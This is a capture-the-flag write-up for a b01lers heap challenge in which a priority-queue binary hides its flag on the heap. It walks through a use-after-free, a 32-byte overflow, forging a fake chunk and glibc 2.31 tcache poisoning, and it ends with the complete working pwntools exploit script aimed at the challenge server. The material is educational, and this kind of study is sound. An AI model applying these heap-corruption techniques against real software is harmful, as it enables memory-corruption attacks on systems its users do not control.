$ cat writeup.md…
$ cat writeup.md…
b01lersc
Task: a PIE binary implements a min-heap priority queue of heap-allocated strings, but it also mallocs the flag at startup and loses the pointer. Solution: combine a root use-after-free, a 32-byte heap overwrite, fake-chunk creation, and glibc 2.31 tcache poisoning to overlap the hidden flag allocation and print it.
ncat --ssl priority-queue.opus4-7.b01le.rs 8443
We are given a menu-driven priority queue of strings. At first glance it looks like a small heap challenge with insert, delete, peek, and edit operations. The important twist is in main(): the program opens flag.txt, allocates 100 bytes for it on the heap, reads the flag there, and then immediately loses the pointer.
So this is not a shell challenge. The goal is to recover an already allocated heap object that contains the flag.
The final exploit from solve.py uses three ideas:
0x20 tcache entries,flag_ptr - 0x20, then make puts() print through into the untouched flag string.Relevant files:
chall — target binarychall.c — source codesolve.py — working exploitlibc.so.6 — Debian GLIBC 2.31-13+deb11u13Dockerfile — remote packagingBinary protections:
Allocator detail that matters most: the provided libc is glibc 2.31, so tcache has no safe-linking. That makes classic tcache poisoning practical once we can overwrite a freed chunk's next pointer.
The challenge source is short enough to understand fully.
At startup:
FILE *file = fopen("flag.txt", "r"); if (file) { char *flag = malloc(100); fgets(flag, 100, file); fclose(file); }
The flag is read into a heap chunk, but flag is a local variable and is never stored anywhere global. After main() continues, that heap object still exists, but the program has no reference to it anymore.
That means exploitation is about heap recovery, not code execution.
The queue is a min-heap of char * pointers:
char **array; int capacity; int size;
Insertion allocates strlen(buffer) + 1 bytes for each string and stores the pointer in array[size]. Heap order is maintained by move_up() and move_down(), both of which compare nodes with strcmp().
So the priority queue root is always the lexicographically smallest string.
This ordering matters a lot during exploitation, because all dangerous operations (delete, peek, edit) act on array[0], the current root. If we want to corrupt or read a particular chunk, we must keep that chunk as the smallest string at the right moment.
delete()void delete(void) { if (size == 0) { puts("Queue is empty!"); return; } puts(array[0]); free(array[0]); array[0] = array[--size]; move_down(0); }
The root node is freed immediately. After that, queue state is still updated based on the remaining entries. This alone is already risky because the root pointer was still actively part of the heap structure until the update completed.
In practice, the exploit uses repeated deletions and the queue reordering rules to put freed small chunks into tcache while keeping a controllable remaining root.
void edit(void) { if (size == 0) { puts("Queue is empty!"); return; } puts("Message: "); read(fileno(stdin), array[0], 32); move_down(0); }
This is the main memory corruption primitive. edit() always writes 32 bytes into the current root chunk, with no check against the chunk's actual size.
For tiny queue entries such as one-character strings, insertion does:
malloc(strlen(buffer) + 1)
So a one-byte string like "a" allocates 2 user bytes, which becomes a 0x20 chunk on glibc 2.31. Writing 32 bytes into such a chunk is a strong heap overflow and also allows reading allocator metadata back later with puts().
The exploit intentionally uses one-character strings. On this libc, those all live in the same 0x20 tcache bin. That gives two useful properties:
The exploit relies on a stable early allocation order:
flag = malloc(100)array = calloc(8, sizeof(char *))The local debugging helpers confirmed that this order is stable enough, and the distance from the third tiny chunk back to the hidden flag chunk is constant in the target layout:
flag_ptr = leaked_chunk - 0x100
The first stage of solve.py is:
ins(io, b"c") ins(io, b"b") ins(io, b"a") dele(io) dele(io) edit(io, b"K" * 32) leak_out = peek(io) c_ptr = u64(leak_out[32:].split(b"\n", 1)[0].ljust(8, b"\x00")) flag_ptr = c_ptr - 0x100
Why this works:
strcmp, inserting c, b, a puts a at the root.0x20 chunks into tcache.edit() overflows across chunk contents and lets peek() print past the nominal string boundary.0x20 chunks, the user area contains tcache forward pointers, so the over-read reveals a heap pointer.The leaked pointer corresponds to the third tiny chunk in the freed chain. From the known allocation order, the script infers the hidden flag location as c_ptr - 0x100.
This challenge would be much easier with direct indexing, but the interface only exposes the root. That means exploitation is constrained by lexicographic ordering.
Two consequences matter:
move_down(0) runs again, so the content we write can change which pointer stays at the root.delete() always removes the current smallest string, so if we want specific chunks placed into tcache in a useful order, we must choose contents so the queue frees them in the right sequence.That is why the exploit uses carefully chosen one-byte labels like a, b, c, then later d, e, f, y, z, and so on. The names are not cosmetic; they control which pointer becomes root and therefore which real heap chunk the menu operation touches next.
After leaking flag_ptr, the exploit builds an overlapping allocation and then poisons tcache.
The script allocates three more one-byte strings:
ins(io, b"e") ins(io, b"d") ins(io, b"f")
All of them are again 0x20 chunks.
0x30 chunkThe next three edits are the core heap-header corruption:
edit(io, b"A" * 16 + p64(0) + p64(0x31)) edit(io, b"z" * 16 + p64(0) + p64(0x31)) edit(io, b"y" * 8 + p64(0x21) + p64(0) + p64(0x21))
These 32-byte writes overflow out of one tiny chunk and into neighboring chunk metadata. The goal is to make glibc later believe one adjacent region is a valid 0x30-sized free chunk.
The important subtlety is that the overflow also reaches the next real chunk header. If we only forged the fake 0x30 size and left the following metadata damaged, glibc consistency checks would eventually fail when that next chunk was freed or reused.
So the exploit does two things at once:
0x21 value.That repair step is why the final edit writes:
b"y" * 8 + p64(0x21) + p64(0) + p64(0x21)
It is not just corruption; it is controlled corruption with header repair. Without repairing the next real chunk, the allocator would crash before the poisoning stage.
The exploit then frees three chunks in the only order the priority queue allows:
dele(io) # fake-sized B / string 'e' dele(io) # real F / string 'f' dele(io) # real E / string starts with 'y'
Again, the queue ordering matters. We do not call free() on arbitrary pointers; we can only delete the smallest current string. The earlier content choices make this order compatible with both the queue logic and the desired tcache state.
After these frees, tcache contains entries that will let us first recover the forged 0x30 chunk and then overwrite a freed chunk's next pointer.
Now the exploit allocates into the fake chunk and writes a forged tcache forward pointer:
target = flag_ptr - 0x20 target_low6 = p64(target)[:6] overlap = b"y" * 0x20 + target_low6 ins(io, overlap)
Because glibc 2.31 has no safe-linking, overwriting the freed chunk's next pointer is enough. The target is flag_ptr - 0x20, not flag_ptr itself, because malloc returns the user pointer after the chunk header. We want the next allocation to produce a chunk whose user area starts exactly where it can overlap the hidden flag allocation.
The script only writes the low 6 bytes of the pointer. On x86-64 Linux userland heaps, the high bytes are predictable enough for this setting, so that is sufficient.
There is one practical complication: some random low bytes are unusable because the input path involves scanf("%127s", ...) for inserts. Bytes such as NUL, newline, and whitespace-like terminators would break delivery. The exploit therefore retries remote sessions until target_low6 contains only acceptable bytes.
bad = set(b"\x00\x09\x0a\x0b\x0c\x0d\x20") if any(b in bad for b in target_low6): ... retry ...
Once the poisoned tcache entry is in place, the script performs two more allocations:
ins(io, b"h") ins(io, b"!")
The first consumes the real tcache entry. The second returns a chunk at the poisoned target, i.e. at flag_ptr - 0x20.
Finally:
edit(io, b"Q" * 32) out = peek(io)
Why does this reveal the flag?
Q fills exactly that prefix region,puts() starts printing from the forged chunk's user pointer,Q bytes, the next bytes in memory are the untouched flag string,QQQQ...QQQbctf{...} and the regex extracts the flag.This is a nice end-state because it does not need code execution, libc leaks, or FILE-structure abuse. We just make the program print from a pointer that now overlaps the secret heap object.
The full solve.py is compact because the exploit path is very direct.
ins() sends insert and a stringdele() sends deleteedit() sends raw bytes for the 32-byte overwritepeek() prints the current root stringattempt() flowc, b, aflag_ptr = c_ptr - 0x100scanf terminatorse, d, f0x30 chunk and repair the next headernext to flag_ptr - 0x20Q bytes and call peek() to print into the flagThe exploit is mostly deterministic once the heap layout is known, but the chosen poisoned pointer must be injected through string-based input. Some target byte patterns include:
0x00Those bytes would terminate scanf("%s") input early or otherwise prevent correct poisoning data from being stored. So the solver simply reconnects until the chosen heap address has usable low bytes.
#!/usr/bin/env python3 from pwn import * import re import sys context.binary = ELF("./chall", checksec=False) context.log_level = "info" HOST = "priority-queue.opus4-7.b01le.rs" PORT = 8443 PROMPT = b"Operation (insert/delete/peek/edit/count/quit): \n" MSG = b"Message: \n" FLAG_RE = re.compile(rb"bctf\{[^\n]+\}") def start(): if args.LOCAL: return remote("127.0.0.1", 31337) return remote(HOST, PORT, ssl=True, sni=HOST) def ins(io, data: bytes): io.sendline(b"insert") io.sendafter(MSG, data + b"\n") io.recvuntil(PROMPT) def dele(io) -> bytes: io.sendline(b"delete") return io.recvuntil(PROMPT, drop=True) def edit(io, data: bytes): io.sendline(b"edit") io.sendafter(MSG, data) io.recvuntil(PROMPT) def peek(io) -> bytes: io.sendline(b"peek") return io.recvuntil(PROMPT, drop=True) def attempt(): io = start() try: io.recvuntil(PROMPT) # Stage 1: leak the third freed 0x20 chunk pointer from the tcache chain. ins(io, b"c") ins(io, b"b") ins(io, b"a") dele(io) dele(io) edit(io, b"K" * 32) leak_out = peek(io) c_ptr = u64(leak_out[32:].split(b"\n", 1)[0].ljust(8, b"\x00")) flag_ptr = c_ptr - 0x100 target = flag_ptr - 0x20 target_low6 = p64(target)[:6] bad = set(b"\x00\x09\x0a\x0b\x0c\x0d\x20") if any(b in bad for b in target_low6): log.warning(f"bad target bytes for {hex(target)}; retrying") io.close() return None log.info(f"c_ptr = {hex(c_ptr)}") log.info(f"flag_ptr = {hex(flag_ptr)}") log.info(f"target = {hex(target)}") # Stage 2: forge a fake 0x30 chunk at B and preserve F's header. ins(io, b"e") ins(io, b"d") ins(io, b"f") edit(io, b"A" * 16 + p64(0) + p64(0x31)) edit(io, b"z" * 16 + p64(0) + p64(0x31)) edit(io, b"y" * 8 + p64(0x21) + p64(0) + p64(0x21)) dele(io) # fake-sized B / string 'e' dele(io) # real F / string 'f' dele(io) # real E / string starts with 'y' # Stage 3: allocate the fake 0x30 chunk and poison E->next to target. overlap = b"y" * 0x20 + target_low6 assert len(overlap) == 0x26 ins(io, overlap) # Consume E, then get an allocation at target = flag-0x20. ins(io, b"h") ins(io, b"!") edit(io, b"Q" * 32) out = peek(io) m = FLAG_RE.search(out) io.close() return m.group(0).decode() if m else None except EOFError: io.close() return None def main(): tries = int(args.TRIES or 20) for i in range(1, tries + 1): log.info(f"attempt {i}/{tries}") flag = attempt() if flag: print(flag) return print("failed", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main()
Use this pattern when:
0x20 tcache bins easy to fill and reuse,$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar